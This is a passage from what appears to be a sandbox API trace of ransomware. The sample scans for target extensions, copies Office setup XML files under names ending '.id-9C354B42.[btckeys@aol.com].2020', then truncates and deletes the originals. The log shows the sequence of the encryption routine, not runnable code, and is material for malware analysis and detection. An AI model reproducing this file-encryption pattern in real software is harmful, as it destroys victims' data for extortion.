Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString=".zip") returned 4 [0069.734] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.734] lstrlenW (lpString=".rar") returned 4 [0069.734] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString=".bz2") returned 4 [0069.734] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString=".7z") returned 3 [0069.734] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString=".dbf") returned 4 [0069.734] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString=".1cd") returned 4 [0069.734] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString=".jpg") returned 4 [0069.734] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.735] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0069.735] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0069.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.736] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=819) returned 1 [0069.736] CloseHandle (hObject=0x1d8) returned 1 [0069.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0069.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.736] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.736] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0069.737] GetLastError () returned 0x0 [0069.737] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x333, lpOverlapped=0x0) returned 1 [0069.749] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x340, lpOverlapped=0x0) returned 1 [0069.750] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.750] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0069.750] SetEndOfFile (hFile=0x1e0) returned 1 [0069.750] CloseHandle (hObject=0x1e0) returned 1 [0069.751] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.751] SetEndOfFile (hFile=0x1d8) returned 1 [0069.752] CloseHandle (hObject=0x1d8) returned 1 [0069.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0069.752] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0069.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".doc") returned 4 [0069.753] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString=".docx") returned 5 [0069.753] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0069.753] lstrlenW (lpString=".pdf") returned 4 [0069.753] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString=".xls") returned 4 [0069.753] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString=".xlsx") returned 5 [0069.753] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0069.753] lstrlenW (lpString=".ppt") returned 4 [0069.753] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".zip") returned 4 [0069.753] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.753] lstrlenW (lpString=".rar") returned 4 [0069.753] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString=".bz2") returned 4 [0069.753] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString=".7z") returned 3 [0069.753] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".dbf") returned 4 [0069.753] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".1cd") returned 4 [0069.753] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".jpg") returned 4 [0069.753] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.753] lstrlenW (lpString=".doc") returned 4 [0069.753] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString=".docx") returned 5 [0069.754] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0069.754] lstrlenW (lpString=".pdf") returned 4 [0069.754] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString=".xls") returned 4 [0069.754] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString=".xlsx") returned 5 [0069.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0069.754] lstrlenW (lpString=".ppt") returned 4 [0069.754] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.754] lstrlenW (lpString=".zip") returned 4 [0069.754] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.754] lstrlenW (lpString=".rar") returned 4 [0069.754] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString=".bz2") returned 4 [0069.754] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString=".7z") returned 3 [0069.754] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.754] lstrlenW (lpString=".dbf") returned 4 [0069.754] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.754] lstrlenW (lpString=".1cd") returned 4 [0069.754] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0069.754] lstrlenW (lpString=".jpg") returned 4 [0069.754] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.754] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0069.754] lstrlenW (lpString="SETUP.XML") returned 9 [0069.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.757] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2624) returned 1 [0069.757] CloseHandle (hObject=0x1d8) returned 1 [0069.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0069.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.758] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.758] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0069.758] GetLastError () returned 0x0 [0069.758] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa40, lpOverlapped=0x0) returned 1 [0069.762] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0069.763] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.763] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0069.763] SetEndOfFile (hFile=0x1e0) returned 1 [0069.763] CloseHandle (hObject=0x1e0) returned 1 [0069.764] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.764] SetEndOfFile (hFile=0x1d8) returned 1 [0069.765] CloseHandle (hObject=0x1d8) returned 1 [0069.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0069.765] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0069.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.765] lstrlenW (lpString=".doc") returned 4 [0069.765] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.765] lstrlenW (lpString=".docx") returned 5 [0069.765] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0069.765] lstrlenW (lpString=".pdf") returned 4 [0069.765] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.765] lstrlenW (lpString=".xls") returned 4 [0069.765] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.765] lstrlenW (lpString=".xlsx") returned 5 [0069.766] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0069.766] lstrlenW (lpString=".ppt") returned 4 [0069.766] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString=".zip") returned 4 [0069.766] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.766] lstrlenW (lpString=".rar") returned 4 [0069.766] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString=".bz2") returned 4 [0069.766] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString=".7z") returned 3 [0069.766] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString=".dbf") returned 4 [0069.766] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString=".1cd") returned 4 [0069.766] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString=".jpg") returned 4 [0069.766] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.766] lstrlenW (lpString=".doc") returned 4 [0069.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString=".docx") returned 5 [0069.766] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0069.766] lstrlenW (lpString=".pdf") returned 4 [0069.766] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString=".xls") returned 4 [0069.766] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.766] lstrlenW (lpString=".xlsx") returned 5 [0069.766] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0069.767] lstrlenW (lpString=".ppt") returned 4 [0069.767] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.767] lstrlenW (lpString=".zip") returned 4 [0069.767] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.767] lstrlenW (lpString=".rar") returned 4 [0069.767] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.767] lstrlenW (lpString=".bz2") returned 4 [0069.767] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.767] lstrlenW (lpString=".7z") returned 3 [0069.767] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.767] lstrlenW (lpString=".dbf") returned 4 [0069.767] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.767] lstrlenW (lpString=".1cd") returned 4 [0069.767] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0069.767] lstrlenW (lpString=".jpg") returned 4 [0069.767] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.767] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0069.767] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0069.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.768] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1565) returned 1 [0069.768] CloseHandle (hObject=0x1d8) returned 1 [0069.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0069.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0069.768] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.768] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0069.769] GetLastError () returned 0x0 [0069.769] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x61d, lpOverlapped=0x0) returned 1 [0069.772] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x620, lpOverlapped=0x0) returned 1 [0069.773] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.773] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.774] SetEndOfFile (hFile=0x1e0) returned 1 [0069.774] CloseHandle (hObject=0x1e0) returned 1 [0069.775] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.143] SetEndOfFile (hFile=0x1d8) returned 1 [0070.480] CloseHandle (hObject=0x1d8) returned 1 [0070.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0070.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.484] lstrlenW (lpString=".doc") returned 4 [0070.484] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0070.484] lstrlenW (lpString=".docx") returned 5 [0070.484] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0070.484] lstrlenW (lpString=".pdf") returned 4 [0070.484] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString=".xls") returned 4 [0070.485] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString=".xlsx") returned 5 [0070.485] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0070.485] lstrlenW (lpString=".ppt") returned 4 [0070.485] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.485] lstrlenW (lpString=".zip") returned 4 [0070.485] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0070.485] lstrlenW (lpString=".rar") returned 4 [0070.485] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString=".bz2") returned 4 [0070.485] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString=".7z") returned 3 [0070.485] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0070.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.485] lstrlenW (lpString=".dbf") returned 4 [0070.485] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.485] lstrlenW (lpString=".1cd") returned 4 [0070.485] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0070.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0070.485] 